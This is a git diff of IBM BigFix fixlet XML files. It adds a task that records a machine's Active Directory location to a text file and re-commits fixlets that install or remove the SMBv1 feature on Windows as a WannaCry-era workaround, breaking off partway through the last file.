+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Get AD Location</Title>
+    <Description><![CDATA[This task will query Active Directory for the 'Location' field and populate a text file called '<FONT color=#008080 size=2><FONT color=#008080 size=2>ADLocation.txt</FONT></FONT>' located in the client root directory ]]></Description>
+    <Relevance>(not exist file &quot;ADLocation.txt&quot; of parent folder of client) OR (exists file &quot;ADLocation.txt&quot; whose (not exist line 1 of it) of parent folder of client)</Relevance>
+    <Source>IBM (mike.english@us.ibm.com)</Source>
+    <SourceReleaseDate>2013-06-05</SourceReleaseDate>
+    <SourceSeverity>N/A</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 05 Jun 2013 17:01:40 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Create VB Script
+delete GetADLocation.vbs
+delete __appendfile
+// Begin VBScript Code
+appendfile Dim objFileSystem, objOutputFile
+appendfile Dim strOutputFile
+appendfile Dim oShell, oAdSysInfo,o
+appendfile Dim sDN, sLocation
+appendfile Set oShell = CreateObject("WScript.Shell")
+appendfile Set oAdSysInfo = CreateObject("ADSystemInfo")
+appendfile sDN = oAdSysInfo.ComputerName
+appendfile Set o = GetObject("LDAP://" & sDN)
+appendfile strComputer = "."
+appendfile
+// generate a filename
+appendfile strOutputFile = "{pathname of parent folder of client as string & "\" & "ADLocation.txt"}"
+appendfile
+appendfile Set objFileSystem = CreateObject("Scripting.fileSystemObject")
+appendfile Set objOutputFile = objFileSystem.CreateTextFile(strOutputFile, TRUE)
+appendfile
+appendfile sLocation = o.Location
+appendfile If sLocation <> "" Then
+appendfile 'wscript.echo sLocation
+appendfile objOutputFile.WriteLine(sLocation)
+appendfile objOutputFile.Close
+appendfile
+appendfile Else
+appendfile sLocation = "AD Location could not be obtained"
+appendfile 'wscript.echo sLocation
+appendfile objOutputFile.WriteLine(sLocation)
+appendfile objOutputFile.Close
+appendfile
+appendfile End If
+appendfile
+appendfile Set objFileSystem = Nothing
+appendfile Set oShell = Nothing
+appendfile Set oAdSysInfo = Nothing
+appendfile Set o = Nothing
+appendfile
+appendfile WScript.Quit(0)
+
+move __appendfile GetADLocation.vbs
+
+// Execute the VBScript silently using cscript.exe
+waithidden cscript.exe GetADLocation.vbs
+
+// Delete the VBScript we just created.
+delete GetADLocation.vbs]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Gracefully install SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24321).bes b/Sites/Windows Management/Fixlets/Fixlets/Gracefully install SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24321).bes
index 67bdec317..30db12515 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Gracefully install SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24321).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Gracefully install SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24321).bes	
@@ -1,57 +1,57 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Gracefully install SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016
-  ID       : 24321
-  Author   : brolly33
-  Domain   : BESC
-  Imported : 2017-05-15T14:20:03
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Gracefully install SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016</Title>
-    <Description><![CDATA[<SPAN itemprop="description">
-<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
-<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012"><FONT color=#0066cc>https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</FONT></A></P>
-<P>Recommended you apply MS17-010 using the published Fixlets.</P></SPAN>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>(name of it = &quot;Win2012R2&quot; or name of it = &quot;Win8.1&quot; or name of it = &quot;Win2016&quot; or name of it = &quot;Win10&quot;) of operating system</Relevance>
-    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mrxsmb10&quot; of native registry</Relevance>
-    <Category>Workaround</Category>
-    <Source>brolly33</Source>
-    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 15 May 2017 21:03:43 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Using Powershell Template https://bigfix.me/fixlet/details/3860
-
-// Disable wow64 redirection on x64 OSes
-action uses wow64 redirection {not x64 of operating system}
-
-delete __createfile
-
-//    CREATEFILE
-createfile until END_OF_FILE
-
-Install-WindowsFeature -Name FS-SMB1
-
-END_OF_FILE
-
-delete powershell.ps1
-move __createfile powershell.ps1
-
-waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1
-action requires restart</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Gracefully install SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016
+  ID       : 24321
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T14:20:03
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Gracefully install SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016</Title>
+    <Description><![CDATA[<SPAN itemprop="description">
+<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012"><FONT color=#0066cc>https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</FONT></A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.</P></SPAN>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2012R2&quot; or name of it = &quot;Win8.1&quot; or name of it = &quot;Win2016&quot; or name of it = &quot;Win10&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mrxsmb10&quot; of native registry</Relevance>
+    <Category>Workaround</Category>
+    <Source>brolly33</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 21:03:43 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Using Powershell Template https://bigfix.me/fixlet/details/3860
+
+// Disable wow64 redirection on x64 OSes
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+
+Install-WindowsFeature -Name FS-SMB1
+
+END_OF_FILE
+
+delete powershell.ps1
+move __createfile powershell.ps1
+
+waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Gracefully install SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24323).bes b/Sites/Windows Management/Fixlets/Fixlets/Gracefully install SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24323).bes
index 083b6dab5..abd10073e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Gracefully install SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24323).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Gracefully install SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24323).bes	
@@ -1,57 +1,57 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Gracefully install SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016
-  ID       : 24323
-  Author   : brolly33
-  Domain   : BESC
-  Imported : 2017-05-15T18:22:49
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Gracefully install SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016</Title>
-    <Description><![CDATA[<SPAN itemprop="description">
-<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
-<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012"><FONT color=#0066cc>https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</FONT></A></P>
-<P>Recommended you apply MS17-010 using the published Fixlets.</P></SPAN>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>(name of it = &quot;Win2012R2&quot; or name of it = &quot;Win8.1&quot; or name of it = &quot;Win2016&quot; or name of it = &quot;Win10&quot;) of operating system</Relevance>
-    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ServerManager\ServicingStorage\ServerComponentCache\FS-SMB1&quot; whose (value &quot;InstallState&quot; of it = 1) of native registry</Relevance>
-    <Category>Workaround</Category>
-    <Source>brolly33</Source>
-    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 15 May 2017 23:08:05 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Using Powershell Template https://bigfix.me/fixlet/details/3860
-
-// Disable wow64 redirection on x64 OSes
-action uses wow64 redirection {not x64 of operating system}
-
-delete __createfile
-
-//    CREATEFILE
-createfile until END_OF_FILE
-
-Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
-
-END_OF_FILE
-
-delete powershell.ps1
-move __createfile powershell.ps1
-
-waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1
-action requires restart</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Gracefully install SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016
+  ID       : 24323
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T18:22:49
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Gracefully install SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016</Title>
+    <Description><![CDATA[<SPAN itemprop="description">
+<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012"><FONT color=#0066cc>https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</FONT></A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.</P></SPAN>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2012R2&quot; or name of it = &quot;Win8.1&quot; or name of it = &quot;Win2016&quot; or name of it = &quot;Win10&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ServerManager\ServicingStorage\ServerComponentCache\FS-SMB1&quot; whose (value &quot;InstallState&quot; of it = 1) of native registry</Relevance>
+    <Category>Workaround</Category>
+    <Source>brolly33</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 23:08:05 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Using Powershell Template https://bigfix.me/fixlet/details/3860
+
+// Disable wow64 redirection on x64 OSes
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+
+Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
+
+END_OF_FILE
+
+delete powershell.ps1
+move __createfile powershell.ps1
+
+waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Gracefully remove SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24320).bes b/Sites/Windows Management/Fixlets/Fixlets/Gracefully remove SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24320).bes
index 75582f9e0..272ec5400 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Gracefully remove SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24320).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Gracefully remove SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24320).bes	
@@ -1,57 +1,57 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Gracefully remove SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016
-  ID       : 24320
-  Author   : brolly33
-  Domain   : BESC
-  Imported : 2017-05-15T14:20:00
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Gracefully remove SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016</Title>
-    <Description><![CDATA[<SPAN itemprop="description">
-<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
-<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012"><FONT color=#0066cc>https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</FONT></A></P>
-<P>Recommended you apply MS17-010 using the published Fixlets.</P></SPAN>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>(name of it = &quot;Win2012R2&quot; or name of it = &quot;Win8.1&quot; or name of it = &quot;Win2016&quot; or name of it = &quot;Win10&quot;) of operating system</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mrxsmb10&quot; of native registry</Relevance>
-    <Category>Workaround</Category>
-    <Source>brolly33</Source>
-    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 15 May 2017 21:03:55 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Using Powershell Template https://bigfix.me/fixlet/details/3860
-
-// Disable wow64 redirection on x64 OSes
-action uses wow64 redirection {not x64 of operating system}
-
-delete __createfile
-
-//    CREATEFILE
-createfile until END_OF_FILE
-
-Remove-WindowsFeature -Name FS-SMB1
-
-END_OF_FILE
-
-delete powershell.ps1
-move __createfile powershell.ps1
-
-waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1
-action requires restart</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Gracefully remove SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016
+  ID       : 24320
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T14:20:00
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Gracefully remove SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016</Title>
+    <Description><![CDATA[<SPAN itemprop="description">
+<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012"><FONT color=#0066cc>https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</FONT></A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.</P></SPAN>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2012R2&quot; or name of it = &quot;Win8.1&quot; or name of it = &quot;Win2016&quot; or name of it = &quot;Win10&quot;) of operating system</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mrxsmb10&quot; of native registry</Relevance>
+    <Category>Workaround</Category>
+    <Source>brolly33</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 21:03:55 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Using Powershell Template https://bigfix.me/fixlet/details/3860
+
+// Disable wow64 redirection on x64 OSes
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+
+Remove-WindowsFeature -Name FS-SMB1
+
+END_OF_FILE
+
+delete powershell.ps1
+move __createfile powershell.ps1
+
+waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Gracefully remove SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24322).bes b/Sites/Windows Management/Fixlets/Fixlets/Gracefully remove SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24322).bes
index 43dd4bf8f..735fe1e1b 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Gracefully remove SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24322).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Gracefully remove SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24322).bes	
@@ -1,57 +1,57 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Gracefully remove SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016
-  ID       : 24322
-  Author   : brolly33
-  Domain   : BESC
-  Imported : 2017-05-15T18:22:47
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Gracefully remove SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016</Title>
-    <Description><![CDATA[<SPAN itemprop="description">
-<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
-<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012"><FONT color=#0066cc>https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</FONT></A></P>
-<P>Recommended you apply MS17-010 using the published Fixlets.</P></SPAN>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>(name of it = &quot;Win2012R2&quot; or name of it = &quot;Win8.1&quot; or name of it = &quot;Win2016&quot; or name of it = &quot;Win10&quot;) of operating system</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ServerManager\ServicingStorage\ServerComponentCache\FS-SMB1&quot; whose (value &quot;InstallState&quot; of it = 1) of native registry</Relevance>
-    <Category>Workaround</Category>
-    <Source>brolly33</Source>
-    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 15 May 2017 23:08:16 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Using Powershell Template https://bigfix.me/fixlet/details/3860
-
-// Disable wow64 redirection on x64 OSes
-action uses wow64 redirection {not x64 of operating system}
-
-delete __createfile
-
-//    CREATEFILE
-createfile until END_OF_FILE
-
-Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
-
-END_OF_FILE
-
-delete powershell.ps1
-move __createfile powershell.ps1
-
-waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1
-action requires restart</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Gracefully remove SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016
+  ID       : 24322
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T18:22:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Gracefully remove SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016</Title>
+    <Description><![CDATA[<SPAN itemprop="description">
+<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012"><FONT color=#0066cc>https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</FONT></A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.</P></SPAN>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2012R2&quot; or name of it = &quot;Win8.1&quot; or name of it = &quot;Win2016&quot; or name of it = &quot;Win10&quot;) of operating system</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ServerManager\ServicingStorage\ServerComponentCache\FS-SMB1&quot; whose (value &quot;InstallState&quot; of it = 1) of native registry</Relevance>
+    <Category>Workaround</Category>
+    <Source>brolly33</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 23:08:16 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Using Powershell Template https://bigfix.me/fixlet/details/3860
+
+// Disable wow64 redirection on x64 OSes
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+
